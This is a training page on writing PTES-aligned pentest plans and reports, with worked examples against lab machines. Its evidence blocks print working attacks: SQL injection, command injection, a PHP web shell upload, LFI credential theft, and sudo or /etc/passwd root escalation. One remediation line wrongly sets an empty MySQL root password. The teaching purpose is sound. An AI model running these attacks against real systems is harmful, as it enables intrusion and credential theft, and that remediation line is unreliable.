Professional Skills
Pentest Reporting Path
Learn to write client-ready PTES-aligned pentest plans and reports. Every module uses real DockerLabs machines with full worked examples — so you see exactly what good looks like.
What You'll Learn
PTES — The 7 Phases
Scope, rules of engagement, authorisation, NDA, timing windows
OSINT, passive recon, service fingerprinting, banner grabbing
Asset identification, threat actors, attack vectors, business risk
Identifying, validating, and prioritising vulnerabilities
Controlled compromise, initial access, privilege escalation
Persistence goals, lateral movement, data objectives, cleanup
Executive summary, findings, risk assessment, remediation plan
Before PTES, every consultant did things differently. Clients couldn't compare assessments, and testers routinely skipped phases. PTES creates a common language so reports are comparable, repeatable, and legally defensible.
PLAN vs. REPORT — the key distinction
📋 Pentest Plan
- Written before the engagement starts
- Defines scope, targets, and limits
- Describes your intended approach
- Your legal authorisation to test
- Reviewed and agreed before work begins
📄 Pentest Report
- Written after the engagement ends
- Documents what you actually found
- Includes evidence: commands, screenshots, output
- Prioritised risk per finding
- Specific, actionable remediation
In real engagements, pre-engagement takes days. On DockerLabs you're the client and the tester. Still write the plan — it forces deliberate thinking before scanning. Treat scope as "the single target IP", RoE as "no DoS, no persistent backdoors", and authorisation as "this is a pre-authorised lab machine."
HOW SUBMISSIONS ARE GRADED
THE 7 PLAN SECTIONS — WHAT GOES WHERE
FULL EXAMPLE — DNS-LAB PENTEST PLAN
In-scope: Host: 139.144.167.14 (dns-lab) Ports: 53/TCP (DNS), 22/TCP (SSH) OS: Linux (unknown distribution) Out-of-scope: - All other IP addresses and subnets - DoS or resource-exhaustion attacks - Modification of DNS zone records (read-only) - Persistence beyond the active test session
Testing window: Unrestricted (lab environment) Authorisation: DockerLabs pre-authorised lab — no sign-off required Prohibited: DoS, data destruction, firewall changes, persistent implants Emergency stop: Reset lab via portal if host becomes unresponsive Credential policy: All discovered credentials recorded in this report only
Asset: Internal DNS server (simulated production) Threat actor: External unauthenticated attacker (no prior access) Motivation: Credential harvesting then lateral movement Primary risk: DNS zone transfer exposing sensitive TXT records (AXFR misconfiguration) Secondary: Weak file permission on /etc/passwd allowing privilege escalation Worst case: Full root compromise via unauthenticated network access
1. Port scan: nmap -sV -sC -p- 139.144.167.14
2. DNS enum:
dig @139.144.167.14 AXFR (zone transfer)
dig @139.144.167.14 TXT (all TXT records)
dnsenum --dnsserver 139.144.167.14 target.lab
3. Banner grab: nc -nv 139.144.167.14 22
4. Any credentials found in DNS records -> attempt SSHVector 1 (primary): DNS AXFR -> TXT record credential leak dig AXFR @TARGET | grep TXT Parse for usernames/passwords or base64-encoded credentials ssh discovered_user@TARGET Vector 2 (post-login privesc): sudo -l # check sudo rights find / -perm -4000 2>/dev/null # SUID binaries ls -la /etc/passwd # check write permissions If writable: echo "root2::0:0::/root:/bin/bash" >> /etc/passwd && su root2
Objectives: - Capture /home/*/user.txt (proof of initial access) - Escalate to root via passwd write or sudo/SUID misconfiguration - Capture /root/root.txt (proof of full compromise) Constraints: - No persistence: no cron jobs, SSH keys, backdoors - No modification of existing files outside test objectives - Screenshot each flag as evidence
Deliverables: 1. This pentest plan (pre-engagement document) 2. Full pentest report (post-engagement, after flags captured) Format: PTES-aligned written report via DockerLabs portal Audience: Technical (administrator level) Severity: Critical / High / Medium / Low / Info (CVSS 3.1) Per finding: title, CVSS vector, description, evidence, impact, remediation
FULL EXAMPLE — HTTP-LAB PENTEST PLAN
In-scope: Host: 139.144.167.19 (http-lab) Ports: 80/TCP (Apache HTTP), 22/TCP (SSH) Out-of-scope: - All other IPs - Modification or deletion of web application files - DoS or brute-force attacks against SSH
Asset: Apache web server (simulated internal tool) Threat actor: Unauthenticated external attacker Primary risk: Information disclosure via directory listing -> credential exposure Secondary: Credential reuse enabling SSH login Tertiary: Sudo misconfiguration leading to root shell Worst case: 3-step unauthenticated -> root chain exploitable in <5 minutes
1. nmap -sV -sC -p 22,80 139.144.167.19
2. HTTP enumeration:
Browse http://139.144.167.19/ — note tech stack and application type
gobuster dir -u http://139.144.167.19/ -w /usr/share/wordlists/dirb/common.txt
Check: /robots.txt, /sitemap.xml, /.htaccess, /.git/
Inspect response headers: Server, X-Powered-By, Set-Cookie
3. If directory listing found: enumerate all files, download and inspect
4. Check file extensions for credentials: .txt, .env, .conf, .bak, .sqlVector 1: Directory listing information disclosure
Access /backup/ if listable
Download all exposed files and search for credentials
Test credentials against SSH: ssh user@TARGET
Vector 2: Post-SSH privilege escalation
sudo -l
If awk listed: sudo awk 'BEGIN {system("/bin/sh")}' (GTFOBins)
Verify root: id && cat /root/root.txt- Be specific about tools and flags — not "scan it" but "nmap -sV -sC -p- TARGET"
- Name the exact attack vectors ranked by likelihood, not just "check for vulns"
- Include a contingency path for when the primary vector fails
- Always include an explicit no-persistence clause in your Post-Exploitation section
- Reference specific GTFOBins techniques if you plan to escalate privileges
ANATOMY OF A FINDING — EVERY FIELD EXPLAINED
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS 3.1 SEVERITY BANDS
FULL EXAMPLE FINDINGS — WEB-EXPLOIT-LAB (INJECTRIX)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H# Authentication bypass POST /?action=login username=admin'-- -&password=anything Response: HTTP 302 redirect to /dashboard (authenticated) # Full user dump via sqlmap sqlmap -u "http://TARGET/?action=login" \ --data="username=admin&password=test" --dbms=mysql --dump -T users -D appdb [OUTPUT] username=labuser, password=L4bUs3r!
$stmt = $pdo->prepare("SELECT * FROM users WHERE username=? AND password=?"); $stmt->execute([$u,$p]); — never interpolate user input into SQL.CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hhost GET parameter directly to shell_exec() for a ping command without sanitisation. Arbitrary OS commands can be appended using shell metacharacters.curl "http://TARGET/?action=dashboard&tab=diag&host=127.0.0.1;id"
# Page output: uid=33(www-data) gid=33(www-data)
curl "http://TARGET/?action=dashboard&tab=diag&host=127.0.0.1;cat+/home/labuser/user.txt"
# Page output: flag{...}escapeshellarg().CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HContent-Type header, which an attacker fully controls. A PHP web shell disguised as image/jpeg is accepted and stored in the web root, enabling RCE.# shell.php: <?php system($_GET['cmd']); ?>
curl -F "file=@shell.php;type=image/jpeg" "http://TARGET/?action=upload&tab=upload"
# Response: {"success":true,"path":"/uploads/shell.php"}
curl "http://TARGET/uploads/shell.php?cmd=id"
# Output: uid=33(www-data) gid=33(www-data)finfo_file() (magic bytes). Rename uploads to UUID with no extension. Store outside the web root. Serve via a download controller that never executes content.FULL EXAMPLE FINDINGS — LFI-LAB (LOOPHOLE)
?page= parameter. php://filter wrapper base64-encodes config.php source to reveal hardcoded SSH credentials. Privilege escalation via sudo.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Lpage GET parameter directly to PHP's include() without path sanitisation or allowlisting. Path traversal reads arbitrary local files. The php://filter wrapper base64-encodes PHP source before inclusion, bypassing execution to expose hardcoded credentials in config.php.# Step 1: confirm LFI
curl "http://TARGET/?page=../../../etc/passwd"
# Output includes: webdev:x:1000:1000:...
# Step 2: base64-encode PHP source via filter wrapper
curl "http://TARGET/?page=php://filter/convert.base64-encode/resource=config.php"
# Output: PD9waHAgZGVmaW5lKCdTVkNfVVNFUicsICd3ZWJkZXYnKTs...
# Step 3: decode
echo "PD9w..." | base64 -d
# define('SVC_PASS', 'L0c4lF1l3!');
# define('SVC_USER', 'webdev');
# Step 4: SSH login
ssh webdev@TARGET # password: L0c4lF1l3!
webdev@lfi-lab:~$ cat user.txt$allowed=['home','about']; if(!in_array($page,$allowed)) die('Invalid');. Never pass user input to file inclusion functions. Set allow_url_include=Off in php.ini.- Include the exact command and exact output — not a paraphrase
- State the business impact, not just the technical one — "exposes all customer PII" beats "reads the DB"
- Give a CVSS vector string, not just "Critical"
- Remediation must name the language/framework specific fix
- If three vulns chain together, write each individually then add one "Attack Chain" finding at Critical
REPORT SECTIONS — WHAT EACH ONE DOES
FULL EXAMPLE REPORT — MYSQL-LAB
A one-session security assessment of the MySQL server (139.144.165.14) identified three critical vulnerabilities that chain together to allow any unauthenticated attacker with network access to achieve full root-level control of the operating system in under two minutes — using only freely available tools and no prior knowledge of the system. The most severe issue is MySQL root access with no password on a publicly exposed port. This is a complete authentication failure that must be remediated before this server handles any production data.
Target: 139.144.165.14 (mysql-lab) Ports: 3306/TCP (MySQL), 22/TCP (SSH) Method: Black-box external — no prior credentials or access Tools: nmap 7.94, mysql CLI, standard Linux shell utilities Approach: 1. Service enumeration (nmap -sV -sC) 2. MySQL unauthenticated login attempt 3. Database and table enumeration via SQL 4. SSH credential reuse from database contents 5. Post-SSH privilege escalation enumeration
FINDING 1 — MySQL Root Has No Password [Critical | CVSS 9.8]
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description:
MySQL listens on 0.0.0.0:3306 with the root account requiring no password.
Any unauthenticated client can connect with full database administrator rights.
Evidence:
$ mysql -h 139.144.165.14 -u root
Welcome to the MySQL monitor.
mysql> SELECT user, host, authentication_string FROM mysql.user WHERE user='root';
| root | % | | <- empty authentication_string = no password
Impact:
Full read/write/delete access to all databases. MySQL FILE privilege allows
reading arbitrary OS files. Complete data compromise and destruction possible.
Remediation:
1. SET PASSWORD for 'root'@'%' = PASSWORD('');
2. Bind MySQL to localhost: bind-address = 127.0.0.1 in mysqld.cnf
3. Firewall: block port 3306 for all external source IPs
4. Create application-specific least-privilege accounts
---
FINDING 2 — Plaintext SSH Credentials in Database Table [Critical | CVSS 9.0]
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description:
The appdb.credentials table stores SSH usernames and passwords in plaintext.
Combined with Finding 1, these directly enable OS-level access.
Evidence:
mysql> SELECT * FROM appdb.credentials;
| labuser | L4bUs3r! |
$ ssh labuser@139.144.165.14 # password: L4bUs3r!
$ cat user.txt -> flag{mysql_root_no_password}
Remediation:
Never store credentials in plaintext. Use bcrypt/Argon2 for passwords.
Replace all SSH password auth with key-based authentication.
---
FINDING 3 — Sudo Perl Enables Trivial Privilege Escalation [High | CVSS 7.8]
Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Description:
labuser can run /usr/bin/perl as root without a password. Perl's exec()
provides a direct root shell (GTFOBins).
Evidence:
$ sudo -l -> (ALL) NOPASSWD: /usr/bin/perl
$ sudo perl -e 'exec "/bin/bash"'
# id -> uid=0(root)
# cat /root/root.txt -> flag{root_via_sudo_perl}
Remediation:
Remove perl from sudoers. Audit all NOPASSWD entries.
Apply least-privilege: labuser requires no sudo rights at all. Priority | Finding | Likelihood | Impact | Action ---------|---------------------------------|------------|----------|----------- 1 | MySQL root — no password | Certain | Critical | Fix now 2 | Plaintext credentials in DB | Certain | Critical | Fix now 3 | sudo perl escalation | Certain | High | Fix now All three findings are independently exploitable and chain for full root compromise in <2 minutes from an external unauthenticated position. No compensating control reduces the priority of any item.
Immediate (before returning to production): 1. Set MySQL root password + bind to 127.0.0.1 + firewall 3306 2. Rotate all credentials in the credentials table 3. Remove NOPASSWD sudo entry for perl Short-term (within 1 sprint): 4. Implement credential hashing (bcrypt/Argon2) 5. Replace password-based SSH with key auth across all accounts 6. Audit all sudo entries on this and related hosts Long-term (within 1 quarter): 7. Secrets management solution (HashiCorp Vault / AWS Secrets Manager) 8. Network segmentation — DB server must never be internet-accessible 9. Automated credential rotation policy
The mysql-lab server is critically compromised in its current state. An unauthenticated internet attacker achieves root in under 2 minutes using publicly available tools and zero specialised knowledge. Root cause: a combination of missing authentication (MySQL), insecure credential storage (plaintext), and overly permissive access controls (unconstrained sudo). These are configuration failures, not complex exploits — they should have been caught in basic pre-deployment review. Recommended action: take offline, apply all remediations above, and re-test before returning to production.
- Executive summary mentions business risk, not CVE numbers
- Findings are sorted by severity, most dangerous first
- The attack chain is explicitly described — not just isolated bugs
- Remediation is prioritised in tiers: fix-now / sprint / quarter
- Conclusion gives an overall security posture verdict
- Every evidence block is reproducible by someone else following it exactly
PRACTICE — WRITE YOUR FULL REPORT
📋
Ready to submit your first document?
Open any machine page and click Open Pentest Docs to write your plan before you start hacking.
Browse Machines